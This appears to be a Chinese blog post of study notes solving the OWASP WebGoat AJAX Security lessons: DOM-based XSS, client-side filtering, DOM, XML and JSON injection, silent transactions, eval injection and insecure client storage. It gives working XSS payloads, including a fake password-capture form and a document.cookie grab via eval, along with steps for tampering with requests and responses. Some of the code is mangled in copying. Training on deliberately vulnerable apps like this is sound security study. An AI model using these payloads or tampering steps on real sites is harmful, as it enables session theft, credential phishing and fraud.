WebGoat学习笔记二---AJAX Security

 

l  LAB:DOM-Based cross-site scripting

题目叫我们用WebGoat/images/logos/owasp.jpg 图片来污染网页

可以看到当我们在文本框中出入字符后网页会立即显示输入的字符,所以我在文本框中输入如下的html代码<img src="images/logos/owasp.jpg"/>,提交后STAGE1完成

Stage2

文本框中输入<img src=x οnerrοr=;;alert('XSS')/>

Stage3

在文本框中输入

<IFRAMESRC="javascript:alert('XSS');"></IFRAME>"

Stage4

在文本框中输入Please enter yourpassword:<BR><input type = "password"name="pass"/><button onClick="javascript:alert('I haveyour password: ' +pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>

Stage5

打开tomcat\webapps\webgoat\javascript\ DOMXSS.js

将其改为

function displayGreeting(name) {
if (name != ''){
document.getElementById("greeting").innerHTML="Hello, " +escapeHTML(name); + "!";
}
}

这样ODM攻击就不起作用了

 

l  LAB: ClientSide Filtering

Stage1

查看源文件可以发现Neville的薪水是450000

Stage2

打开tomcat\webapps\webgoat\lessons\Ajax\ clientSideFiltering.jsp,

StringBuffer sb = newStringBuffer();
sb.append("/Employees/Employee/UserID | ");
sb.append("/Employees/Employee/FirstName | ");
sb.append("/Employees/Employee/LastName | ");
sb.append("/Employees/Employee/SSN | ");
sb.append("/Employees/Employee/Salary ");
String expression = sb.toString();

修改为

StringBuffer sb = newStringBuffer();
sb.append("/Employees/Employee[Managers/Manager/text() = " +userid + "]/UserID | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " +userid + "]/FirstName | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " +userid + "]/LastName | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " +userid + "]/SSN | ");
sb.append("/Employees/Employee[Managers/Manager/text() = " +userid + "]/Salary ");
String expression = sb.toString();

l  Same OriginPolicy Protection

点击下面的连接即可



l  DOM Injection

在输入框中输入任意字符

使用webscarab拦截response,将responsebody替换为

document.forms[0].SUBMIT.disabled = false;”

还有一种在Firefox中可行的方法是直接用firebug修改网页源码,将按钮的属性disabled=‘’去掉就行了

l  XML Injection

使用webscarab拦截response

root标签中加入另外两个商品

<reward>WebGoatCore Duo Laptop 2000 Pts</reward>

<reward>WebGoatHawaii Cruise 3000 Pts</reward>

点击acceptchanges,另外两个商品的信息已经出现

 

l  JSONInjection

使用webscarab拦截response



将第一个航班的价格改为100,提交后如下图所示:



l  SilentTransactions Attacks

首先填入账号,然后填入转账金额,一定不要超过当前帐户的最大余额,因为网页是在客户端通过JavaScript来验证用户输入的金额是否大于账户余额的

提交后,使用webscarab拦截request

 

amount改为1000000

l  Dangerous Useof Eval

在以下文本框中输入123');alert(document.cookie);('

 

这样我就可以得到cookie

l  InsecureClient Storage

启用firebug,在如下位置设置断点

 

 

输入任意字符开始调试

当鼠标停在decrypted上面时,可以看到他的值为PLATINUM,这个值就是code的值



firebug中查找GRANDTOT,将他的readonly属性去掉,



这样就可以修改下面的值,将其修改为0从而免费获得商品


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值